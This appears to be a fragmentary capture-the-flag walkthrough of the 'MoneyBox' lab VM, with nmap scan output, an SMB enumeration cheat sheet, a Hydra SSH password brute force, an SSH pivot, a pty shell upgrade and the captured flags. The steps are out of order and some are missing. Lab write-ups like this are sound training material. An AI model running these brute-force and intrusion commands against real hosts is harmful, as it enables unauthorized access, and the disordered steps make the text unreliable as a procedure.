┌──(root㉿kill3r)-[/home/kill3r] └─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.56.103 | grep -oE '(^[0-9][^/tcp]*)' | tr '\n' ',') ┌──(root㉿kill3r)-[/home/kill3r] └─# nmap -p$ports -sV -sC -O 192.168.56.103 -oN nmap.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-08 10:02 CST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.103 Host is up (0.00050s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.56.102 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA) | 256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA) |_ 256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: MoneyBox MAC Address: 08:00:27:94:02:31 (Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.86 seconds
枚举
SMB 枚举
Port: 139 389 445 636
enum4linux -a/-A 127.0.0.1
1
$ enum4linux -A <ip>
MSF-SMB
1 2 3 4 5 6
# 基于SMB协议扫描版本号 msf6 > use auxiliary/scanner/smb/smb_version # 扫描共享文件 msf6 > use auxiliary/scanner/smb/smb_enumshares # 基于SMB进行用户信息枚举 msf6 > use auxiliary/scanner/smb/smb_lookupsid
Web
HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081
┌──(root㉿kill3r)-[/home/kill3r] └─# hydra -l renu -P /opt/pwcrack/PasswordDic/用户名和密码/密码/rockyou.txt 192.168.56.103 ssh Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-08 10:33:28 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344401 login tries (l:1/p:14344401), ~896526 tries per task [DATA] attacking ssh://192.168.56.103:22/ [22][ssh] host: 192.168.56.103 login: renu password: 987654321 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-08 10:34:20
renu@MoneyBox:/home/lily/.ssh$ ssh lily@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ECDSA key fingerprint is SHA256:8GzSoXjLv35yJ7cQf1EE0rFBb9kLK/K1hAjzK/IXk8I. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80 lily@MoneyBox:~$
lily@MoneyBox:~$ id # 已经获取到了root权限 # 查看是否存在python,换到全交互式Shell
# which python # which python3 /usr/bin/python3 #存在python3 # python3 -c 'import pty;pty.spawn("/bin/bash")'; root@MoneyBox:/home/lily# ls ls user2.txt root@MoneyBox:/home/lily# cd /root cd /root root@MoneyBox:~# ls -a . .. .bash_history .bashrc .local .profile .root.txt root@MoneyBox:~# cat .root.txt cat .root.txt
Congratulations.......!
You Successfully completed MoneyBox
Finally The Root Flag ==> r00t{H4ckth3p14n3t}
I'm Kirthik-KarvendhanT It's My First CTF Box
instagram : ____kirthik____
See You Back....
root@MoneyBox:~# history
Web
访问靶场,寻找功能点
源代码没有什么的信息,只是提示这是一个非常简单靶场,进行目录扫描一波吧
发现了blogs目录,访问一下,看一下源代码并且继续扫一下目录
目录扫描没有任何结果,查看源代码发现了一句注释:!--the hint is the another secret directory is S3cr3t-T3xt-->
提示了一个目录叫S3cr3t-T3xt,访问一下看一看
发现一个Key,这个Key可能是刚刚图片隐写提取数据的密码
Shell as user1
1 2 3 4 5
renu@MoneyBox:~$ cat user1.txt Yes...! You Got it User1 Flag
==> us3r1{F14g:0ku74tbd3777y4}
Shell as user2
1 2 3 4 5
lily@MoneyBox:~$ cat user2.txt Yeah..... You Got a User2 Flag